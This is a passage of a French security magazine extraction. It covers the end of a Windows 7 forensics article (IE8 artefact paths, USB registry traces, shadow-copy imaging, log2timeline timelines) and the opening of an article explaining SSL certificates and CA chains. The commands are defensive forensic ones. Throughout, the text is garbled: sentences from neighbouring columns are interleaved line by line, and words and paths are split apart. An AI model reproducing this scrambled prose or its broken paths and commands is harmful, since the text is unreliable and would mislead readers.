savoir les dossiers dans le profil de Local\Microsoft\Windows\Temporar y Options Internet/onglet :Sécurité dans
l'utilisateur et l'historique généré par Internet Files\Content.IE5, le programme IE8,
Internet Explorer. • Cookies : %userprofile%\AppData\ • Contrôle du compte de l'utilisateur (en
En analysant le profil de l'utilisateur Roaming\Microsoft\Windows\Cookies\ anglais User Account Control, UAC)
sous Windows 7, il ne faut pas oublier Low et %userprofile%\AppData\ désactivé,
qu'à l'instar de Vista, la structure des Roaming\Microsoft\Windows\Cookies\ • le programme IE8 lancé avec les droits
répertoires qui en font partie est soumise Low, de l'administrateur.
à l'existence de deux types de profils. • Favoris : %userprofile%\Favorites.
Le profil utilisateur itinérant (en anglais L'analyse des informations contenues
Roaming user profile) est stocké sur le Si vous cherchez des preuves dans le profil de l'utilisateur ne constitue
serveur (et mise en cache sur le poste numériques créées par Internet Explorera en général que la première étape,
de travail) et permet à l'utilisateur de se 8 que l'utilisateur reçoit avec Windows 7, bien qu'importante, de l'investigation
connecter à son propre environnement faites attention à un fait supplémentaire. numérique. Il est possible de collecter
de travail sur un autre ordinateur dans Le système d'exploitation le plus récent les autres preuves pour une analyse
le cadre d'un domaine commun. Les de Redmond (à l'instar de Vista) lance d'utilisation de la mémoire USB flash dans
profils itinérants ne sont disponibles que par défaut le programme IE8 dans le le système cible.
sous Windows 7 Professional, Enterprise mode protégé (en anglais Protected
et Ultimate. Le second type est un profil mode). Le mode protégé augmente Mémoires USB flash
utilisateur local traditionnel (en anglais la sécurité de l'utilisateur en limitant Comme je l'ai déjà mentionné dans la
Local user profile). de manière radicale les droits du partie sur les changements importants
Dans l'environnement Windows code lancé dans le navigateur. Des survenus dans l'informatique légale depuis
7, les données mobiles (qui suivent logiciels malveillants sont donc très quelques années, l'analyse d'utilisation
l'utilisateur) et locales sont clairement restreints quand ils veulent pénétrer de la mémoire USB flash est devenue
distinctes et séparées grâce à dans le système. Du point de vue de très significative. Les mémoires de ce
l'utilisation des répertoires Roaming et l'informatique légale, l'information très type sont actuellement utilisées non
Local. Ils se trouvent dans le répertoire importante est liée au fait que les seulement pour lancer des programmes
%userprofile%\AppData\. Du point de fichiers générés par le programme IE8, illégaux ou indésirables sur les ordinateurs
vue de l'informatique légale, il est donc travaillant dans le mode protégé, arrivent professionnels mais aussi par les
important de savoir quel type de données dans un répertoire spécial Low. À titre employés licencié ou déloyaux pour voler
il est possible de trouver dans ces deux d'exemple, le répertoire %userprofile%\ les données.
répertoires. À titre d'exemple, les fichiers A p p D a ta\ Lo c a l\ M ic r o s o f t \W i nd o w s\ Utiliser une mémoire USB flash
de cookies se trouvent dans le répertoire Histor y\Low\Histor y.IE5 contient les laisse bien évidemment des traces
Roaming et l'historique et la mémoire fichiers de l'historique du navigateur dans le système d'exploitation (et plus
cache se trouvent en revanche dans qui travaille dans le mode de sécurité précisément dans son registre et les
le répertoire Local. Les emplacements élevée. Il faut donc faire particulièrement fichiers de configuration). Comme la
exactes des traces particulièrement attention à ces dossiers au moment structure du registre dans les différentes
intéressantes de l'activité de l'utilisateur d'une investigation numérique dans versions du système Windows est
dans Windows 7 se présentent de l'environnement Windows 7. Un différent, l'informaticien légal doit savoir
manière suivante : informaticien légal doit également où chaque version stocke les preuves
savoir que le navigateur qui travaille relatives aux clés USB. Regardons donc
• historique du navigateur : avec le mode protégé désactivé où se trouve ce type d'informations dans
% user prof ile%\AppData\Local\ générera les preuves dans le répertoire Windows 7.
M i c r o s o f t \W i n d o w s\ H i s to r y\ Lo w\ standard de l'historique et la mémoire Un exemple de procédure de collecte
History.IE5 et %userprofile%\AppData\ cache, autrement dit dans le répertoire des informations relatives à la clé USB
Local\Microsof t\Windows\Histor y\ Local. Le mode protégé désactivé et utilisée dans un système Windows en
History.IE5, donc l'absence d'utilisation du dossier question peut se présenter de manière
• Cache du navigateur : %userprofile%\ Low peuvent avoir ses origines dans les suivante :
AppData\Local\Microsof t\Windows\ opérations suivantes :
• collecter les informations sur le
fabricant, le modèle, la version et
le numéro de série de la mémoire
(toutes ces informations se trouvent
Figure 2. Analyse du déroulement des événements dans le temps sur la clé HKEY_LOCAL_MACHINE\

58 HAKIN9 2/2010
SYSTEM\Cur rentControlSet\Enum\ CurrentControlSet\Enum\USBSTOR\
USBSTOR), Fabricant_Modèle_Version_mémoire_
• enregistrer VID (Vendor ID) et PID USB à la recherche de la dernière
(Product ID) en recherchant le présence du numéro de série de la
numéro de série de la mémoire défini mémoire),
auparavant dans la clé HKEY_LOCAL_ • déterminer l'heure exacte et la
MACHINE\SYSTEM\CurrentControlSet\ date du dernier branchement de
Enum\USB, la mémoire USB (pour obtenir
• déterminer la lettre du lecteur attribuée cette information, parcourir la clé
dans le système à la mémoire USB HKE Y_LOCAL _MACHINE\SYSTEM\
analysée (il faut parcourir toutes les CurrentControlSet\Enum\USB\VID_
entrées relatives aux lettres du lecteur XXXX&PID_YYYY à la recherche de la
dans la clé HKEY_LOCAL_MACHINE\ dernière présence du numéro de série
SYSTEM\MountedDevices à la de la mémoire).
recherche du numéro de série de la
mémoire), Comme vous pouvez le constater dans
• enregistrer les identifiants GUID pour l'exemple ci-dessus, l'environnement
les volumes de la mémoire USB (il faut Windows 7 peut apporter aux enquêteurs
parcourir toutes les entrées relatives de nombreuses preuves numériques
aux volumes dans la clé HKEY_LOCAL_ importantes relatives à l'utilisation
MACHINE\SYSTEM\MountedDevices à de la clé USB dans le système. Pour
la recherche du numéro de série de la conclure, nous sommes capables de
mémoire), déterminer un historique très détaillé
• déterminer les utilisateurs qui d'utilisation d'une clé USB concrète par
utilisent la mémoire analysée (il faut des utilisateurs de Windows 7 concrets.
parcourir toutes les entrées pour Ce type de preuves peut être très utile
chaque utilisateur système dans dans une investigation réelle. La fonction
la clé HKEY_USERS\Identifiant_ de copies instantanées de volume,
utilisateur\Sof t ware\Microsof t\ présente dans Windows 7, peut nous
Windows\Cur rent Ver sion\Explorer\ fournir davantage d'informations plus
MountPoints2 à la recherche des intéressantes.
identifiants GUID des volumes de la
mémoire USB), Les versions précédentes
• déterminer l'heure exacte et la date révéleront tous les secrets...
du premier branchement de la Les versions précédentes constituent les
mémoire USB (pour obtenir cette copies de fichiers, de dossiers, voire de
information, parcourir le fichier texte volumes entiers que le système Windows
c:\windows\inf\setupapi.dev.log à la enregistre automatiquement dans le cadre
recherche du numéro de série de la des points de restitution. Avec les versions
mémoire), précédentes, il est possible de restituer
• déterminer l'heure exacte et la les fichiers et les dossiers qui ont été
date du premier branchement de accidentellement modifiés ou supprimés
la mémoire USB depuis le dernier voire endommagés. En fonction du type du
lancement du système (pour obtenir fichier ou du dossier, il est possible d'ouvrir
cette information, parcourir la clé une version précédente, de l'enregistrer à
HKE Y_LOCAL _MACHIN E\SYSTEM\ un autre endroit ou de la restituer.

Figure 3. Visualisation du déroulement des événements dans le temps


ATTAQUE
La fonction Volume Shadow Copy sous Windows 7 Professional, Enterprise passer à l'analyse des informations
service – VSS (disponible sous Windows et Ultimate. y contenues. Pour parcourir manuellement
7 et Windows Vista) est chargée de créer Du point de vue d'analyse des le contenu des copies directement à partir
périodiquement une copie instantanée données générées sur un lecteur original du système en marche, il est conseillé de
de tous les fichiers dans les partitions par la fonction VSS, l'information la plus créer un lien symbolique au volume de
protégées. Les versions précédentes importante est la suivante : il n'existe copie instantanée à l'aide de l'outil système
sont enregistrées automatiquement actuellement aucune méthode pour mklink. L'exemple de la commande peut
dans le cadre des points de restitution, analyser les versions précédentes du se présenter de manière suivante : mklink
si la fonction protection du système volume au niveau du fichier de l'image /d C:\copie_instantanée \?\GLOBALROOT\
est activée. Le système Windows crée créée à partir du lecteur original. Le lecteur Device\HarddiskVolumeShadowCopy_no_
automatiquement les copies seulement original est donc indispensable pour copie\. Cette commande nous permet
des fichiers et des dossiers qui ont réaliser le fichier de l'image du volume dans de parcourir librement la forme historique
été modifiés depuis la création du l'une des versions archivées, enregistrée du volume grâce au lien appelé copie_
dernier point de restitution. Les points par VSS. Regardons donc en pratique instantanée créé sur le disque C:. Cette
de restitution par défaut sont créés une comment analyser professionnellement procédure peut être également utile pour
fois par jour. Si le disque est divisé en les données collectées par VSS dans le trouver et récupérer un fichier supprimé !
partitions ou si l'ordinateur est équipé de système Windows 7. Lors des investigations numériques,
plusieurs disques durs, seule la partition Pour commencer l'analyse des la capacité de créer un fichier contenant
système est par défaut soumise à la données VSS, déterminons la liste une image complète du volume pour
protection des fichiers. des copies instantanées disponibles la copie instantanée sélectionnée sera
En pratique, la fonction VSS permet dans la partition en question. Pour ce sûrement utile. Pour ce faire, il faut trouver
donc à l'utilisateur de restituer tout faire, dans le cadre de la partition C: le nom (HarddiskVolumeShadowCopy_
un volume, dossier ou fichier d'une , nous pouvons faire la commande no_copie) de la copie souhaitée via la
(voire de plusieurs dizaines) versions suivante : vssadmin list shadows /for=C: commande susmentionnée vssadmin
précédentes. Il est également possible . Cette commande permet d'obtenir list shadows /for=C: . Pour créer une
de récupérer un fichier supprimé si (Figure 1) une liste de toutes les copies copie appropriée, nous pouvons nous
ce fichier existait pendant la création instantanées disponibles. Faites attention servir d'un programme dd connu, version
d'une des copies disponibles. Cette aux informations suivantes : destinée à Windows. Il ne faut pas oublier
fonctionnalité ressemble donc beaucoup que nous réussissons à réaliser l'image
au programme Time Machine intégré au • nom du volume de la copie instantanée seulement si nous utilisons le lecteur
système Mac OS X (depuis la version 10.5 (par exemple, HarddiskVolumeShadowC original avec les copies instantanées
Leopard). opy4, cette information se trouve dans la en tant que source. L'exemple de la
Du point de vue technique, VSS ligne : Volume des copies instantanées : commande peut se présenter de manière
suit les modifications survenues \?\GLOBALROOT\Device\HarddiskVolu suivante : dd.exe if=\.\HarddiskVolumeSh
dans le cadre d'un volume donné au meShadowCopy4), adowCopy_ no_copie of=E:\obraz.img –
niveau des clasters, ce qui signifie que • heure système au moment où la localwrt . Où le disque E: est par exemple,
chaque copie stockée nous permet copie instantanée a été créée (cette la mémoire USB flash où sera créée le
de récréer une image fidèle d'une information se trouve dans la ligne : fichier de l'image obraz.img.
partition donnée pendant sa création. Nombre de copies instantanées :1 au Il ne faut pas oublier que la procédure
Ce type de fonctionnalité intégrée par moment de la création : 2009-11-18 09: susmentionnée nous permettra d'effectuer
défaut dans le système d'exploitation 08:05), une seule copie choisie du volume. Pour
est bien évidemment inestimable • nombre total des copies instantanées analyser l'historique entier du volume
pour les personnes travaillant dans le disponibles. enregistré par le mécanisme VSS, il faut
domaine de l'informatique légale ! Une créer le nombre exact d'images identique
personne capable de voir le passé du Il faut remarquer que si par exemple, au nombre de copies instantanées. Pour
disque dur analysé saura par exemple la taille de la partition C: s'élève à 500 effectuer des opérations d'investigation
déterminer l'historique précis de l'activité Go et si 10 copies instantanées sont légale, il faudra aussi disposer de l'image
de l'utilisateur de l'ordinateur ou trouver disponibles pour cette partition et si d'état actuel de la partition. Si nous avons
dans le système d'exploitation les traces nous voulons alors créer des fichiers donc par exemple 10 copies instantanées,
d'incidents datant d'il y a plusieurs jours ! avec des images de chaque copie, nous obtiendrons alors 11 images de la
Il ne faut pas non plus oublier que la nous obtiendrons 10 fichiers de 500 Go même partition à analyser !
version complète de la fonction VSS chacun ! Nous avons donc au total 5000 En disposant des images précises
(qui suit les modifications dans toute Go de données. du volume, l'informaticien légal peut
la partition et non seulement l'état des Avec la liste connue de copies commencer à analyser les données.
fichiers système) n'est disponible que instantanées disponibles, nous pouvons Pour monter les images protégées de

60 HAKIN9 2/2010
INFORMATIQUE LÉGALE SOUS WINDOWS 7

la partition NTFS dans un système qui l'analyse du déroulement des événements En analysant la liste ci-dessus, il semble
effectuera l'analyse, il est recommandé dans le temps dans les systèmes Windows. que l'outil dispose déjà des grandes
d'utiliser le programme NTFS-3G apprécié Log2timeline est un framework permettant fonctionnalités et il est en plus toujours
dans l'environnement. Une fois l'image d'ajouter, d'une manière assez simple, des développé de manière intensive. À titre
montée, il ne nous reste qu'à effectuer modules d'entrée ou de sortie. L'un des d'exemple, le concepteur prévoit d'implanter
une solide analyse légale au moyen d'un plug-ins de sortie prêt permet d'enregistrer des fonctionnalités pour traiter notamment
ensemble d'outils d'informatique légale, tel les résultats de travail du programme des informations contenues dans les
que EnCase ou The Sleuth Kit (TSK). au format utilisé par l'outil mactime qui journaux log des programmes antivirus, les
fait partie du paquet The Sleuth Kit (TSK). fichiers d'historiques d'autres navigateurs
Analyse du déroulement des Actuellement, log2timeline est capable Internet populaires ou les archives des
événements dans le temps d'analyser les traces des événements messageries instantanées IM.
Déterminer le déroulement des en provenance notamment des sources Regardons donc en pratique comment
événements définis dans le temps dans suivantes : une analyse traditionnelle du déroulement
le système d'exploitation qui est l'objet de des événements dans le temps peut être
l'investigation peut avoir être significatif • catalogue Prefetch (contenant les enrichie dans l'environnement Windows 7
pour le succès de toute l'investigation. informations sur les programmes avec des preuves collectées au moyen
L'objectif d'une analyse classique du temps lancés récemment dans le de l'outil log2timeline. Supposons que
consiste avant tout à dessiner chaque programme), notre investigation a pour but de prouver
événement (par exemple, suppression • clé du regsitre UserAssist (HKEY_ qu'un utilisateur du système d'exploitation
d'un fichier) dans la fonction du temps CURRENT_USER\Software\Microsoft\ a lancé le programme CMD.EXE et
en utilisant notamment les données Windows\Cur rent Ver sion\Explorer\ a ensuite fait la commande ipconfig. Je
contenues dans le système de fichiers. UserAssist, ces données se trouvent suppose que, pour faciliter le processus
Ce type d'analyse se concentre toutefois physiquement dans le fichier du d'investigation, l'ordinateur analysé
uniquement sur le fait que l'événement a eu registre NTUSER.DAT et contiennent a été booté depuis le LiveCD gratuit,
lieu (et non sur ses détails, par exemple, les informations sur les applications contenant le système populaire d'aide à
contenu des fichiers), ce qui pourrait faire lancées par chaque utilisateur), l'informatique légale : Helix3. La première
omettre des informations importantes. • points de restitution, étape consiste à réaliser l'analyse
Une analyse moderne du déroulement • fichiers de raccourcis (LNK), traditionnelle des événements. Pour ce
dans le temps tente donc de combiner • fichiers de l'historique du navigateur faire, nous utiliserons le paquet The Sleuth
les informations sur l'apparition de Firefox, Kit (TSK) en créant le fichier body file.
l'événement et toutes les informations • fichiers INFO2 (contenant les Ce fichier (son format s'appelle parfois
supplémentaires disponibles sur son sujet, informations sur les fichiers mactime – le nom vient de l'outil capable
pour déterminer un contexte complet de supprimés), de le traiter par la suite) constitue une
tous les événements. Remarquons aussi • journaux log Windows IIS, sorte de forme intermédiaire (soumise
que les informations supplémentaires sur • métadonnées OpenXML contenues à en général aux autres modifications)
les événements se trouvent non seulement l'intérieur des documents Office 2007. avant de créer une forme finale du fichier
à l'intérieur du système analysé mais aussi
dans les systèmes externes, tels que pare-
feu ou serveur proxy, etc. Sur le Net
Malheureusement, les outils qui • http://hcsl.pl/ – Hard Core Security Lab,
supportent une analyse moderne du • http://blogs.sans.org/computer-forensics/2009/10/27/windows-7-computer-forensics/
déroulement dans le temps combinée avec – Windows 7 Computer Forensics,
la collecte des informations détaillées sur • http://blogs.sans.org/computer-forensics/2009/09/09/updated-computer-forensic-guide-to-
les événements sont très peu nombreux. profiling-usb-thumbdrives-on-win7-vista-and-xp/ – Profiling USB Thumbdrives on Win7,
• http://blogs.sans.org/computer-forensics/2008/10/10/shadow-forensics/ – Windows 7
Le projet Ex-Tip est une tentative de créer
Shadow Volume Forensics,
un outil modulaire pour une analyse • http://technet.microsoft.com/en-us/library/cc785914(WS.10).aspx – How Volume Shadow
avancée du déroulement dans le temps. Copy Service Works,
Malheureusement, le développement du • ht tp://blogs.sans.org/computer-forensics/2009/08/13/ar tifact-timeline-creation-and-
projet est actuellement au point mort. À analysis-tool-release-log2timeline/ – Artifact Timeline Creation and Analysis,
présent, le projet log2timeline développé • http://log2timeline.net/ – log2timeline tool,
• http://sleuthkit.org/ – Official web site for The Sleuth Kit and Autopsy Browser,
depuis peu semble être le plus intéressant.
• http://log2timeline.net/visual.html – Exemple de visualisation de l'analyse des événements à
Cet outil a été créé en mai 2008 par Kristinn
l'aide de SIMILE,
Gudjonsson, employé de SANS chargé de • http://www.e-fense.com/ – Site officiel du fabricant deHELIX3 LiveCD.
l'informatique légale, motivé justement
par l'absence des outils complets pour

2/2010 HAKIN9 61
ATTAQUE
d'analyse du déroulement dans le temps. programme CMD.EXE le 19 juillet à 14: pas non plus. L'informaticien légal doit
Pour créer le fichier body, nous disposons 25:46. Et quelques secondes plus tard, connaître en détails tous les mécanismes
du programme fls (qui fait partie du paquet il a lancé la commande ipconfig. Les du système analysé qui peuvent être
TSK) via l'exemple de commande suivante : données provenant du répertoire Prefetch potentiellement utilisés pour collecter
fls -m C: -r /dev/sda1 > /tmp/fichierbody. nous informent que cette commande les preuves. Le mécanisme de copies
Ensuite, nous montons (en lecture) la a été faite 6 fois. Nous avons donc instantanées de volume en est un exemple
partition analysée (ou le fichier de l'image réussi à prouver une action concrète d'un dans le système Windows le plus récent.
de la copie instantanée créé auparavant) utilisateur concret à l'aide de l'analyse du Ce mécanisme peut s'avérer une source
via la commande : mount.ntfs-3g -o déroulement des événements dans le des preuves électroniques inestimables.
ro,nodev,noexec,show_sys_files /dev/sda1 temps. Comme vous pouvez le constater, Windows 7 représentant l'approche
/mnt/analyse (le répertoire /mnt/ analyse l'outil log2timeline peut être extrêmement évolutive de la société Microsoft au sujet du
doit être créé auparavant sur le disque). utile pour effectuer une analyse complète développement des systèmes d'exploitation
Avec la partition montée en mode de des actions des utilisateurs dans les représente ainsi un environnement convivial
lecture seule, nous pouvons passer à systèmes de famille Windows ! pour l'informatique légale. La plupart des
collecter d'autres preuves au moyen L'analyse du déroulement des mécanismes internes de Windows 7 sont
de l'outil log2timeline. À titre d'exemple, événements enrichie avec des informations similaires voire identiques à ceux connus
pour ajouter à notre fichier body des supplémentaires provenant du paquet de Vista, ce qui a permis à l'informatique
informations du répertoire système log2timeline fournit de nombreuses légale de disposer des outils appropriés et
Prefetch, il suffit de faire la commande preuves numériques très intéressantes. des connaissances permettant d'effectuer
suivante : cd /mnt/analyse/WINDOWS/ Malheureusement, une analyse aussi des investigations efficaces sous Windows
Prefetch (passage au répertoire Prefetch détaillée fait augmzenter des données à 7 à la première du produit.
présent dans la partition montée analyser. Une analyse traditionnelle des Il faut aussi souligner qu'il existe à
auparavant) et log2timeline -f prefetch . événements consistait à parcourir le fichier présent de nombreux outils d'investigation
>> /tmp/fichierbody. Les informations sur texte (comme celui que nous avons obtenu gratuits qui se prêtent très bien à analyser
les programmes récemment lancés dans du programme mactime) à la recherche les incidents sous Windows 7. Nous
le système d'exploitation analysé sont des entrées intéressantes. Comme le pouvons recommander notamment le
ainsi ajoutées à notre fichier fichierbody. programme log2timeline est capable système Helix3 LiveCD et le paquet d'outils
Ensuite, nous analysons les données d'enregistrer les résultats de son travail au The Sleuth Kit (TSK). N'oublions pas non
UserAssist enregistrées pour l'utilisateur format XML, nous pouvons présenter notre plus le projet log2timeline développé
système en question. Pour ce faire, nous analyse sous forme de schéma. Pour ce depuis peu. Il propose déjà des fonctions
passons au répertoire d'accueil de faire, il suffit d'utiliser le widget SIMILE. La très riches d'analyse du déroulement des
l'utilisateur : cd /mnt/analyse/Documents\ Figure 4 présente un exemple d'analyse événements dans le temps qui laissent
and\ Settings/nom_de_l'utilisateur et du déroulement des événements dans le les traces dans toute sorte d'endroits des
nous faisons la commande : log2timeline temps, présenté à l'aide de SIMILE. Il ne faut systèmes Windows. L'accessibilité des
-f userassist NTUSER.DAT >> /tmp/ pas toutefois oublier que la visualisation outils gratuits fait que chacun d'entre nous
fichierbody . Grâce à cette démarche, ne réduit pas la quantité de données à peut aujourd'hui faire nos investigations
nous avons ajouté des informations analyser, elle permet tout simplement de amateurs sous Windows 7 ! Je vous invite
sur un utilisateur concret, enregistrées les présenter d'une manière plus claire... tous à vous intéresser aux méthodes de
dans le registre UserAssist à notre l'informatique légale non seulement au
fichier body. Les informations collectées Conclusion moment d'un incident qui troublerait la
jusqu'à présent peuvent permettre à Afin d'effectuer une investigation numérique sécurité de nos systèmes. L'aventure avec
résoudre notre question, il ne nous reste efficace, trois points sont indispensables : l'informatique légale sera sûrement une
qu'à générer le fichier approprié de notre bonne connaissance (et suivi) des bonne occasion pour mieux connaître
analyse enrichie avec le déroulement principes de l'informatique légale, outils nos propres systèmes d'exploitation. Ce
des événements dans le temps. Pour d'investigation appropriés et très bonne sera aussi une occasion pour connaître
ce faire, en utilisant respectivement connaissance du système d'exploitation les mécanismes à l'aide desquels le
l'outil qui fait partie du paquet TSK, analysé. système d'exploitation enregistre toutes
nous faisons la commande : mactime Les principes de base de l'informatique nos opérations, même les moindres !
-b /tmp/ fichierbody > /tmp/déroulement_ légale sont quasiment invariables par
dans_le_temps. Il est possible à ce rapport à toutes sortes des systèmes
Wojciech Smol
moment-là d'analyser le fichier texte analysés, les outils d'investigation doivent L'auteur a fait ses études à la faculté de l'Automatique, de
obtenu déroulement_dans_le_temps Les être en revanche spécialement choisis l'Electronique et de l'Informatique de l'Ecole Polytechnique
de Silésie à Gliwice. Il est diplômé de la section
fragments du fichier déroulement_dans_ pour le système d'exploitation analysé. Informatique, spécialité : Bases de données, réseaux
le_temps (Figure 2) indiquent clairement Des connaissances générales sur les et systèmes informatiques. Il est administrateur réseaux
et systèmes informatiques dans la société Mostostal
que l'utilisateur analysé a lancé le systèmes d'exploitation ne suffisent Zabrze Holding S.A.

62 HAKIN9 2/2010
PRATIQUE
DAVID TORTEL

SSL Defeating
Souvent sur le devant de la scène, le protocole Secure Socket
Layer reste aujourd’hui le protocole de sécurisation utilisé afin
Degré de difficulté
d’assurer chiffrement, authenticité et intégrité d’une trame trans-
mise sur la toile. Très convoitées par les personnes malveillantes,
les vulnérabilités d’un tel protocole donnent accès à des privilèges
dangereux. Ce document tente de rappeler les différentes étapes
de ce protocole de sécurisation avant d’en dessiner certaines fai-
blesses.

L
ors d’une connexion à un site sécurisé – si- Par conséquent, l’utilisateur qui souhaite commu-
te utilisant un protocole de sécurisation de niquer de façon sécurisée avec un serveur doit être
type SSL–, les données en provenance et à en possession de la clé publique de ce serveur.
destination du client sont brouillées grâce à un al-
gorithme de chiffrement de type chiffrement asy- La notion de confiance
métrique. Ce chiffrement fait appel à un couple de Sur internet, la notion de confiance pose un réel pro-
clés: une clé publique, accessible par tous, servant blème. En effet, dans la mesure où les échanges se
au chiffrement des données et une clé privée, se- font sans la présence physique des parties, nous
crète, permettant le déchiffrement. sommes en droit de nous inquiéter l’identité réelle
Ainsi, si l’utilisateur Bob désire communiquer de la partie adverse. L’identité virtuelle peut-elle avoir
avec le serveur de sa banque, il utilisera la clé pu- un sens aussi fort que l’identité civile ? En d’autres
blique de la banque pour chiffrer son message. termes, comment créer un lien fort entre ces deux
Dès lors, lors du transport du message, une écou- entités par nature antagonistes. Il est important de
te attentive du réseau ne permettra pas au pirate savoir de façon certaine que l’entité avec laquel-
CET ARTICLE malveillant de se saisir d’informations confidentiel- le nous dialoguons est effectivement celle qu’elle
EXPLIQUE... les, celles–ci demeurant incompréhensibles. En ef- prétend être, c’est-à-dire que la clé publique utili-
La notion et la légitimité de cer- fet, même s’il est en mesure de lire le message, il sée pour chiffrer les données appartient réellement
tificats numériques, le détour-
nement des PKI par le champ sera dans l’incapacité d’en comprendre le sens. à une personne morale identifiée. Pour reprendre
Basic Constrainst, l’attaque par L’image (cf. Figure 1) est une capture d’écran l’exemple précédent, il s’agit de trouver un mécanis-
homographie, une exploitation
possible de l’absence de norme obtenue à partir du logiciel Wireshark. Ce logiciel me assurant que la clé publique utilisée par le client
de design dans le domaine de permet d’écouter l’ensemble du trafic circulant pour chiffrer ses données personnelles appartient
la sécurité, une méthode pour
créer un faux certificat dans le sous-réseau auquel appartient la station. vraiment au serveur www.paypal.com. Le certificat
Nous tenterons de rappeler ici
Ici est représentée la capture d’un message en di- permet, en partie, de répondre à cette question.
les différentes étapes de ce rection d’un serveur utilisant un protocole de chif- Le certificat numérique est une sorte de carte
protocole de sécurisation avant
d’évoquer certaines faiblesses.
frement – en l’occurrence, il s’agit du serveur www. d’identité électronique rédigée et signée par un tiers de
paypal.com. Le message échangé avec le serveur confiance. Celui–ci stipule la véracité du lien identité ci-
CE QU’IL FAUT est chiffré et donc incompréhensible pour le qui- vile/ identité virtuelle; autrement dit, la clé publique pro-
SAVOIR... dam qui essaie de le capturer. L’étape de compré- posée par la station appartient vraiment à l’entité avec
Notions de base sur le fonc- hension sémantique est assujettie à la possession laquelle nous nous attendons à communiquer. Ce
tionnement d’une PKI, bases du
DNS, idées sur le fonctionne- de la clé privée. Lorsque le message arrive au ser- tiers de confiance est appelé Autorité de Certification.
ment de TCP/IP et sur la couche veur de la banque, il est d’abord déchiffré avec la Nous le noterons CA dans toute la suite du document
applicative du modèle OSI, atta-
que de type Man In The Middle. clé privée puis traité. afin de rester dans les notations conventionnelles.

64 HAKIN9 2/2010
SSL DEFEATING

Le certificat • Issuer : identité du tiers de confiance Pour vérifier le certificat, le navigateur


Lorsqu’un site veut proposer un tunnel sé- qui a généré puis signé le certificat – commence par vérifier le nom du déten-
curisé le reliant à ses utilisateurs, il doit né- il s’agit ici de l’autorité de certification teur du certificat. Il s’agit ici de vérifier qu’il
cessairement fournir des informations à la Thawte y a concordance entre le serveur que Bob
fois civiles et virtuelles à un CA afin que ce • Validity : date de début et de fin de va- cherche à joindre et le serveur qui présen-
dernier établisse un certificat numérique. lidité du certificat te le certificat – les informations relatives
Les formats des standards, en termes de • Subject : informations civiles et virtuel- à ce point sont contenues dans le champ
certificats, ont beaucoup évolué depuis la les de l’entité qui possède le certificat, Subject : il suffit de vérifier que le champ
création. Aujourd’hui, le certificat x509v3 qui souhaite s’authentifier. Il s’agit ici du Subject est identique à l’adresse propo-
semble s’imposer (cf. Figure 2). Celui–ci serveur www.google.com– cette infor- sée dans la barre d’adresse.
se présente de la façon suivante – exem- mation est conforme à l’adresse sai- Par la suite, c’est le champ Validity qui
ple pour l’URL https://www.google.com/ sie par l’URL est étudié afin d’attester que le certificat
accounts/ServiceLogin?service=mail&pas • Public Key : Clé publique de l’entité n’a pas expiré.
sive=true&rm=false&continue=http%3A%2 possédant le certificat Enfin, le navigateur vérifie la signature
F%2Fmail.google.com%2Fmail%2F%3Fui%3 • Signature du certificat puis la légitimité du CA qui a
Dhtml%26zy%3Dl&bsv=zpwhtygjntrz&scc=1 fourni ce certificat.
&ltmpl=default&ltmplcache=2 qui corres- L’intégralité des champs est étudiée par le
pond à la redirection de www.gmail.com. CA ; le certificat est composé et signé. La chaine de confiance
Nous y trouvons les champs suivants : Il est évident que le certificat doit avoir été ré-
La validation du certificat digé et signé par une partie tierce, un tiers de
• Version : permet de rassembler les Lorsqu’il veut se connecter à un serveur confiance. Dans le cas contraire, ce modè-
deux parties autour du même stan- de manière sécurisée, l’utilisateur Bob le n’aurait aucune légitimité dans la mesure
dard. Il s’agit ici de la version 3 ouvre une connexion SSL. où chacun aurait les pouvoirs de s’auto–cer-
• Serial number : numéro de série du La première étape dans l’établisse- tifier, ce qui n’aurait pas de sens. Une seule
certificat qui permet d’identifier le cer- ment de cette connexion est l’envoi d’un Autorité de Certification ne peut pas, à elle
tificat de manière unique message HELLO vers le serveur distant seule, gérer l’ensemble des certifications. Par
• Signature algorithm : fonction de ha- afin de lui préciser identité, formats de cer- ailleurs, un commerce s’est peu à peu dé-
chage utilisée suivie de l’algorithme tificat supportés, ainsi que des champs veloppé autour de cette notion de confiance
de chiffrement asymétrique. Le cer- aléatoires. Le serveur lui répond en lui si bien que des chaînes de CA se sont des-
tificat est ici haché avec la fonction proposant son certificat. Le navigateur de sinées. Ainsi, un CA peut mandater d’autres
de hachage sha1. Ce hash est ensui- Bob analyse le certificat. Si le certificat est tiers de confiance pour qu’ils l’aident dans sa
te chiffré avec l’algorithme de chiffre- valide, les deux entités peuvent dialoguer tâche ; pour ce faire, il leur signe un certifi-
ment asymétrique RSA. Le résultat de sur des bases saines et Bob connaît la cat de CA, dont la structure est très proche
ce chiffrement donne la signature clé publique du serveur avec certitude. des certificats vus ci–dessus. La concaténa-
tion de tous ces tiers de confiance s’appelle
une PKI. A la tête de la PKI, il y a un CA root,
puis une ossature en forme d’arbre comme
le souligne la Figure 3.
Par construction, le navigateur d’un
utilisateur fait confiance à certains CA, les
CA roots. Lorsqu’il charge un certificat, le
navigateur en vérifie l’auteur. S’il s’agit d’un
CA connu et reconnu, le certificat est ac-

Figure 2. La démocratisation du certi-


Figure 1. Lorsque l’échange est brouillé par un algorithme de chiffrement, la capture ficat x509v3 semble l’élever au rang de
du message ne donne pas d’informations suffisantes pour en comprendre le sens standard

2/2010 HAKIN9 65
PRATIQUE
cepté après vérification de son intégrité et ainsi de suite jusqu’à validation totale de la protocole OSCP, il est résumé par la Figure
des champs sensibles. Dans le cas contrai- chaîne. La valeur maximale de CA présents 4 – tiré du site de developper.mozilla.org.
re, le navigateur vérifie le certificat présenté dans la chaîne dépend de l’implémentation. Ainsi et pour rebondir sur cette image,
par ce CA ainsi que l’entité qui l’a délivré, et Le protocole de vérification des CA est le un certificat est considéré comme valide si
toutes les signatures sont valides, si rien n’a
expiré – tous les certificats présents sont
encore dans leur période de validité –, si la
chaîne de confiance est intacte et si le CA
root est un CA connu et reconnu par les na-
vigateurs.
Figure 3. La hiérarchie des CA est en forme d’arbre, chaque nœud père déléguant à
Si un élément manque à l’appel, le
son nœud fils la possibilité de signer à son tour des certificats
certificat est rejeté et le site est considéré
comme non sûr. Dans ce cas, le navigateur
informe l’utilisateur que le site présente un
Trusted authority Root CA
certificate
certificat non valide en ouvrant une fenêtre
d’avertissement. Dans le cas contraire, la
Check validity period and verify that this
Untrusted authority USA CA
is signed by root CA. Since Root CA is station commence à communiquer avec le
certificate
trusted, verification stops here. serveur en chiffrant ses messages avec la
clé publique annoncée.
Engineering
